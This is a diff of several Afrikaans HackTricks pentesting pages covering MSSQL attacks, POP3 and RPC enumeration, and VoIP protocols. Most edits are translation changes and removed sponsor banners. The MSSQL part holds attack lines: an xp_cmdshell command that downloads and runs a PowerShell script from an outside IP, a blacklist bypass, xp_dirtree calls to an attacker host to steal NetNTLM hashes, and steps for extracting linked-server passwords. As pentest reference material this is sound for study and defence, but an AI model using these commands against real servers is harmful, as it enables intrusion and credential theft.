* **Databasis** Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
* **Skema** Sluit tabelle, weergawes, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoof toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
* **Bedienervlak** met behulp van aanmeldings
* **Databasivlak** met behulp van gebruikers
3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang tot 'n securable te hê. Hoofde sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -223,9 +215,9 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Steel NetNTLM-hash / Relay-aanval
### Steel NetNTLM-has / Relay-aanval
Jy moet 'n **SMB-bediener** begin om die hash wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld).
Jy moet 'n **SMB-bediener** begin om die has wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Jy kan nagaan wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies uit te voer met:
Jy kan nagaan wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies te loop met:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -264,7 +256,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in:
### **Skryf Lêers**
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat administratiewe regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**inskakel**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat administratiewe regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -321,7 +313,7 @@ GO
```
### Lees Registrasie
Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server bied **meerdere uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Regulier** | **Instansie-Bewus** |
| ---------------------------- | -------------------------------------- |
@ -348,19 +340,19 @@ For **meer voorbeelde** kyk na die [**oorspronklike bron**](https://blog.waynesh
### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Dit is moontlik om **'n .NET dll binne MSSQL te laai met pasgemaakte funksies**. Dit, egter, **vereis `dbo` toegang** so jy het 'n verbinding met die databasis **as `sa` of 'n Administrateur rol**.
Dit is moontlik om **'n .NET dll binne MSSQL te laai met pasgemaakte funksies**. Dit **vereis egter `dbo` toegang**, so jy het 'n verbinding met die databasis **as `sa` of 'n Administrateur rol** nodig.
[**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien.
### Ander maniere vir RCE
Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server) by te voeg, [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [buitensporige skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [buitensporige skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) toe te voeg.
## MSSQL Privilege Escalation
### Van db\_owner na sysadmin
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) gegee word en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daarin geskep is, kan **uitvoer** as die eienaar (**admin**).
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) gegee word en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daarin geskep is, as die eienaar (**admin**) kan **uitvoer**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -454,27 +446,27 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Uittreksel van wagwoorde uit SQL Server Linked Servers
## Uittreksel van wagwoorde uit SQL Server Gekoppelde Bedieners
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies onttrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, te onttrek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) gevind word.
'n Aanvaller kan SQL Server Gekoppelde Bedieners wagwoorde uit die SQL Instansies onttrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor is, te onttrek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) gevind word.
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
Nadat jy jou toestemmings geverifieer het, moet jy drie dinge konfigureer, wat die volgende is:
1. Aktiveer TCP/IP op die SQL Server instansies;
2. Voeg 'n Beginparameter by, in hierdie geval, 'n spoorsnyer vlag sal bygevoeg word, wat -T7806 is.
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorsnyer vlag bygevoeg word, wat -T7806 is.
3. Aktiveer afstandsadminverbinding.
Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die onttrekking en ontsleuteling van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Koppeling Bediener Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting die SQL Server Toegewyde Administrateur Verbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Plaaslike Privilege Escalation
Die gebruiker wat MSSQL-server uitvoer, sal die voorregte-token **SeImpersonatePrivilege** geaktiveer hê.\
Die gebruiker wat MSSQL bediener uitvoer, sal die voorregteken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
@ -497,15 +489,9 @@ Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een v
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Outomatiese Opdragte
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.

View file

@ -15,19 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basic Information
**Post Office Protocol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die Internet, wat gebruik word vir die onttrekking en **herwinning van e-pos van 'n afgeleë posbediener**, wat dit beskikbaar maak op die plaaslike toestel. Geleë binne die toepassingslaag van die OSI-model, stel hierdie protokol gebruikers in staat om e-pos te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die totstandkoming van 'n verbinding met die posbediener, die aflaai van alle boodskappe, die stoor van hierdie boodskappe plaaslik op die kliëntstelsel, en daarna die verwydering daarvan van die bediener. Alhoewel daar drie weergawes van hierdie protokol is, is **POP3** die mees algemeen gebruikte weergawe.
**Post Office Protocol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die Internet, wat gebruik word vir die onttrekking en **herwinning van e-pos van 'n afstandsposbediener**, wat dit op die plaaslike toestel beskikbaar maak. Geleë binne die toepassingslaag van die OSI-model, stel hierdie protokol gebruikers in staat om e-pos te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die totstandkoming van 'n verbinding met die posbediener, die aflaai van alle boodskappe, die stoor van hierdie boodskappe plaaslik op die kliëntstelsel, en daarna die verwydering daarvan van die bediener. Alhoewel daar drie weergawes van hierdie protokol is, is **POP3** die mees algemeen gebruikte weergawe.
**Default ports:** 110, 995(ssl)
**Standaard poorte:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
@ -47,7 +40,7 @@ Jy kan die opdrag `CAPA` gebruik om die vermoëns van die POP3 bediener te verkr
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data teruggee (Windows weergawes).
Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data (Windows weergawes) teruggee.
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
@ -94,21 +87,16 @@ password: PA$$W0RD!Z
```
## Gevaarlike Instellings
Van [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Instelling** | **Beskrywing** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Aktiveer alle outentikasie foutopsporing logboek. |
| `auth_debug_passwords` | Hierdie instelling pas die log verbositeit aan, die ingediende wagwoorde, en die skema word gelog. |
| `auth_verbose` | Log onsuksesvolle outentikasie pogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir outentikasie gebruik word, word gelog en kan ook afgekort word. |
| `auth_anonymous_username` | Dit spesifiseer die gebruikersnaam wat gebruik moet word wanneer daar met die ANONYMOUS SASL-meganisme aangemeld word. |
| **Instelling** | **Beskrywing** |
| ---------------------------- | --------------------------------------------------------------------------------------- |
| `auth_debug` | Aktiveer alle outentikasie foutopsporing logboek. |
| `auth_debug_passwords` | Hierdie instelling pas die logboek se verbositeit aan, die ingediende wagwoorde, en die skema word gelog. |
| `auth_verbose` | Log ongeslaagde outentikasiepogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir outentikasie gebruik word, word gelog en kan ook afgekort word. |
| `auth_anonymous_username` | Dit spesifiseer die gebruikersnaam wat gebruik moet word wanneer daar met die ANONYMOUS SASL-meganisme aangemeld word. |
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Outomatiese Opdragte
```

View file

@ -10,32 +10,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Oorsig van Relatiewe Identifiseerders (RID) en Sekuriteitsidentifiseerders (SID)
**Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels vir die unieke identifisering en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein.
- **SIDs** dien as unieke identifiseerders vir domeine, wat verseker dat elke domein onderskeibaar is.
- **RIDs** word aan SIDs geheg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie stel presiese opsporing en bestuur van voorwerptoestemmings en toegangbeheer moontlik.
- **RIDs** word by SIDs gevoeg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie maak presiese opsporing en bestuur van voorwerptoestemmings en toegangbeheer moontlik.
Byvoorbeeld, 'n gebruiker genaamd `pepe` mag 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, voorgestel in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **Opsporing met rpcclient**
Die **`rpcclient`** nut van Samba word gebruik om te kommunikeer met **RPC eindpunte deur benoemde pype**. Hieronder is opdragte wat aan die SAMR, LSARPC, en LSARPC-DS interfaces gegee kan word nadat 'n **SMB sessie gevestig is**, wat dikwels geloofsbriewe vereis.
Die **`rpcclient`** nut van Samba word gebruik om te kommunikeer met **RPC eindpunte deur naamgebaseerde pype**. Hieronder is opdragte wat aan die SAMR, LSARPC, en LSARPC-DS interfaces gegee kan word nadat 'n **SMB sessie gevestig is**, wat dikwels geloofsbriewe vereis.
#### Bediener Inligting
@ -94,22 +86,16 @@ done
| enumdomusers | Enumereer domein gebruikers | |
| enumdomgroups | Enumereer domein groepe | |
| createdomuser | Skep 'n domein gebruiker | |
| deletedomuser | Verwyder 'n domein gebruiker | |
| deletedomuser | Verwyder 'n domein gebruiker | |
| lookupnames | LSARPC | Soek gebruikersname na SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) waardes |
| lookupsids | Soek SIDs na gebruikersname (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) siklusse) | |
| lsaaddacctrights | Voeg regte by 'n gebruikersrekening | |
| lsaremoveacctrights | Verwyder regte van 'n gebruikersrekening | |
| lsaremoveacctrights | Verwyder regte van 'n gebruikersrekening | |
| dsroledominfo | LSARPC-DS | Verkry primêre domeininligting |
| dsenumdomtrusts | Enumereer vertroude domeine binne 'n AD woud | |
To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -16,25 +16,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
{% endhint %}
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Seinprotokolle
### SIP (Session Initiation Protocol)
Dit is die bedryfstandaard, vir meer inligting kyk:
Dit is die industrie standaard, vir meer inligting kyk:
{% content-ref url="sip-session-initiation-protocol.md" %}
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
@ -44,9 +30,9 @@ Dit is die bedryfstandaard, vir meer inligting kyk:
MGCP (Media Gateway Control Protocol) is 'n **sein** en **oproep** **beheerprotokol** soos uiteengesit in RFC 3435. Dit werk in 'n gesentraliseerde argitektuur, wat uit drie hoofkomponente bestaan:
1. **Oproepagent of Media Gateway Controller (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir die **bestuur en beheer van die media gateways**. Dit hanteer oproepopstelling, -wysiging en -beëindigingsprosesse. Die MGC kommunikeer met die media gateways deur die MGCP-protokol.
2. **Media Gateways (MGs) of Slave Gateways**: Hierdie toestelle **verander digitale media-strome tussen verskillende netwerke**, soos tradisionele kring-switshandels telekommunikasie en pakketswitshandels IP-netwerke. Hulle word deur die MGC bestuur en voer opdragte uit wat van hom ontvang is. Media gateways kan funksies insluit soos transcoding, packetization, en echo cancellation.
3. **Sein Gateways (SGs)**: Hierdie gateways is verantwoordelik vir **die omskakeling van seinboodskappe tussen verskillende netwerke**, wat naatlose kommunikasie tussen tradisionele telekommunikasiestelsels (bv. SS7) en IP-gebaseerde netwerke (bv. SIP of H.323) moontlik maak. Sein gateways is van kardinale belang vir interoperabiliteit en om te verseker dat oproepbeheerinligting behoorlik tussen die verskillende netwerke gekommunikeer word.
1. **Oproepagent of Media Gateway Controller (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir **die bestuur en beheer van die media gateways**. Dit hanteer oproepopstelling, -wysiging en -beëindigingsprosesse. Die MGC kommunikeer met die media gateways deur die MGCP-protokol.
2. **Media Gateways (MGs) of Slave Gateways**: Hierdie toestelle **verander digitale media-strome tussen verskillende netwerke**, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke. Hulle word deur die MGC bestuur en voer opdragte uit wat van hom ontvang is. Media gateways kan funksies insluit soos transkodering, pakketering en echo-kansellasie.
3. **Sein Gateways (SGs)**: Hierdie gateways is verantwoordelik vir **die omskakeling van seinboodskappe tussen verskillende netwerke**, wat naatlose kommunikasie tussen tradisionele telekommunikasiestelsels (bv. SS7) en IP-gebaseerde netwerke (bv. SIP of H.323) moontlik maak. Sein gateways is van kardinale belang vir interoperabiliteit en verseker dat oproepbeheerinligting behoorlik tussen die verskillende netwerke gekommunikeer word.
In samevatting, MGCP sentraliseer die oproepbeheerlogika in die oproepagent, wat die bestuur van media en sein gateways vereenvoudig, wat beter skaalbaarheid, betroubaarheid en doeltreffendheid in telekommunikasienetwerke bied.
@ -58,24 +44,24 @@ SCCP is 'n liggewig protokol wat die kommunikasie tussen die oproepbeheerbediene
Die hoofkomponente van 'n SCCP-gebaseerde stelsel is:
1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, -wysiging en -beëindigingsprosesse, sowel as ander telekommunikasiefunksies soos oproepoorplasing, oproepoorplasing, en oproephou.
2. **SCCP Eindpunte**: Dit is toestelle soos IP telefone, video-konferensie-eenhede, of ander Cisco stem- en video-eindpunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seinboodskappe, en volg die instruksies wat deur die oproepbeheerbediener verskaf word vir oproephantering.
3. **Gateways**: Hierdie toestelle, soos stemgateways of mediagateways, is verantwoordelik vir die omskakeling van media-strome tussen verskillende netwerke, soos tradisionele kring-switshandels telekommunikasie en pakketswitshandels IP-netwerke. Hulle kan ook addisionele funksionaliteit insluit, soos transcoding of echo cancellation.
1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, -wysiging en -beëindigingsprosesse, sowel as ander telekommunikasiefunksies soos oproepdoorgifte, oproepoorplasing en oproephou.
2. **SCCP Eindpunte**: Dit is toestelle soos IP telefone, video-konferensie-eenhede, of ander Cisco stem- en video-eindpunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seinboodskappe, en volg die instruksies wat deur die oproepbeheerbediener vir oproephantering verskaf word.
3. **Gateways**: Hierdie toestelle, soos stemgateways of media gateways, is verantwoordelik vir die omskakeling van media-strome tussen verskillende netwerke, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of echo-kansellasie.
SCCP bied 'n eenvoudige en doeltreffende kommunikasie metode tussen Cisco oproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om te noem dat **SCCP 'n eienaarskap protokol** is, wat interoperabiliteit met nie-Cisco stelsels kan beperk. In sulke gevalle mag ander standaard VoIP-protokolle soos SIP meer geskik wees.
SCCP bied 'n eenvoudige en doeltreffende kommunikasie metode tussen Cisco oproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om te noem dat **SCCP 'n eienaarskap protokol is**, wat interoperabiliteit met nie-Cisco stelsels kan beperk. In sulke gevalle kan ander standaard VoIP-protokolle soos SIP meer geskik wees.
### H.323
H.323 is 'n **suite van protokolle** vir multimedia kommunikasie, insluitend stem, video, en data konferensies oor pakketswitshandelsnetwerke, soos IP-gebaseerde netwerke. Dit is ontwikkel deur die **Internasionale Telekommunikasie Unie** (ITU-T) en bied 'n omvattende raamwerk vir die bestuur van multimedia kommunikasie sessies.
H.323 is 'n **suite van protokolle** vir multimedia kommunikasie, insluitend stem, video, en data konferensies oor pakketskakelde netwerke, soos IP-gebaseerde netwerke. Dit is ontwikkel deur die **Internasionale Telekommunikasie Unie** (ITU-T) en bied 'n omvattende raamwerk vir die bestuur van multimedia kommunikasiesessies.
Sommige sleutelkomponente van die H.323 suite sluit in:
1. **Terminals**: Dit is eindpunttoestelle, soos IP telefone, video-konferensiestelsels, of sagtewaretoepassings, wat H.323 ondersteun en kan deelneem aan multimedia kommunikasie sessies.
2. **Gateways**: Hierdie toestelle omskep media-strome tussen verskillende netwerke, soos tradisionele kring-switshandels telekommunikasie en pakketswitshandels IP-netwerke, wat interoperabiliteit tussen H.323 en ander kommunikasiesisteme moontlik maak. Hulle kan ook addisionele funksionaliteit insluit, soos transcoding of echo cancellation.
1. **Terminals**: Dit is eindpunttoestelle, soos IP telefone, video-konferensiestelsels, of sagtewaretoepassings, wat H.323 ondersteun en kan deelneem aan multimedia kommunikasiesessies.
2. **Gateways**: Hierdie toestelle omskep media-strome tussen verskillende netwerke, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke, wat interoperabiliteit tussen H.323 en ander kommunikasiesisteme moontlik maak. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of echo-kansellasie.
3. **Gatekeepers**: Dit is opsionele komponente wat oproepbeheer en bestuursdienste in 'n H.323 netwerk bied. Hulle voer funksies uit soos adresvertaling, bandwydtebestuur, en toelatingsbeheer, wat help om netwerkbronne te bestuur en te optimaliseer.
4. **Multipoint Control Units (MCUs)**: Hierdie toestelle fasiliteer multipoint konferensies deur media-strome van verskeie eindpunte te bestuur en te meng. MCUs stel funksies soos video-lay-outbeheer, stem-geaktiveerde skakeling, en deurlopende teenwoordigheid in staat, wat dit moontlik maak om groot skaal konferensies met verskeie deelnemers te hou.
4. **Multipoint Control Units (MCUs)**: Hierdie toestelle fasiliteer multipoint konferensies deur media-strome van verskeie eindpunte te bestuur en te meng. MCUs stel funksies soos video-opstellingbeheer, stem-geaktiveerde skakeling, en deurlopende teenwoordigheid in staat, wat dit moontlik maak om groot skaal konferensies met verskeie deelnemers te hou.
H.323 ondersteun 'n reeks klank- en video-codecs, sowel as ander aanvullende dienste soos oproepoorplasing, oproepoorplasing, oproephou, en oproepwag. Ten spyte van sy wye aanvaarding in die vroeë dae van VoIP, is H.323 geleidelik vervang deur meer moderne en buigsame protokolle soos die **Session Initiation Protocol (SIP)**, wat beter interoperabiliteit en makliker implementering bied. Nietemin bly H.323 in gebruik in baie erfenisstelsels en word dit steeds deur verskeie toerustingverkopers ondersteun.
H.323 ondersteun 'n reeks klank- en video-codecs, sowel as ander aanvullende dienste soos oproepdoorgifte, oproepoorplasing, oproephou, en oproepwag. Ten spyte van sy wye aanvaarding in die vroeë dae van VoIP, is H.323 geleidelik vervang deur meer moderne en buigsame protokolle soos die **Session Initiation Protocol (SIP)**, wat beter interoperabiliteit en makliker implementering bied. Nietemin bly H.323 in gebruik in baie erfenisstelsels en word dit steeds deur verskeie toerustingverkopers ondersteun.
### IAX (Inter Asterisk eXchange)
@ -84,7 +70,7 @@ IAX (Inter-Asterisk eXchange) is 'n **sein- en oproepbeheerprotokol** wat hoofsa
IAX is bekend vir sy **simpliciteit, doeltreffendheid, en maklikheid van implementering**. Sommige sleutelkenmerke van IAX sluit in:
1. **Enkele UDP Poort**: IAX gebruik 'n enkele UDP-poort (4569) vir beide sein- en media-verkeer, wat firewall en NAT-oorgang vereenvoudig, wat dit makliker maak om in verskillende netwerkomgewings te implementeer.
2. **Binarie Protokol**: Anders as teksgebaseerde protokolle soos SIP, is IAX 'n binêre protokol, wat sy bandwydteverbruik verminder en dit doeltreffender maak vir die oordrag van sein- en mediagegewens.
2. **Binarie Protokol**: Anders as teksgebaseerde protokolle soos SIP, is IAX 'n binarie protokol, wat sy bandwydteverbruik verminder en dit doeltreffender maak vir die oordrag van sein- en mediadata.
3. **Trunking**: IAX ondersteun trunking, wat toelaat dat verskeie oproepe in 'n enkele netwerkverbinding gekombineer word, wat oorhoofse koste verminder en bandwydte benutting verbeter.
4. **Inheemse Enkripsie**: IAX het ingeboude ondersteuning vir enkripsie, wat metodes soos RSA vir sleuteluitruiling en AES vir media-enkripsie gebruik, wat veilige kommunikasie tussen eindpunte bied.
